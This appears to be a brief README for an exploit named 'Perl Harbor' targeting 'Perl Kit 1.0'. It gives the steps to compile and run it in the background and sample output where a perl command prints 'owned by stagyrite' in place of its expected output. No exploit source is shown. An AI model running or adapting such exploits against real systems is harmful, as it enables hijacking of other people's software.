perlharbor

Perl Harbor: exploit against Perl Kit 1.0

Execution

gcc -o perl-harbor perl-harbor.c
./perl-harbor &
./perl -e 'print "hello, world\n";'

Successful execution ends with printing "owned by stagyrite".

Example

$ ./perl-harbor &
[1] 5406
$ ./perl -e 'print "hello, world\n";'
owned by stagyrite

Proof of concept

• Concept #1
• Concept #2

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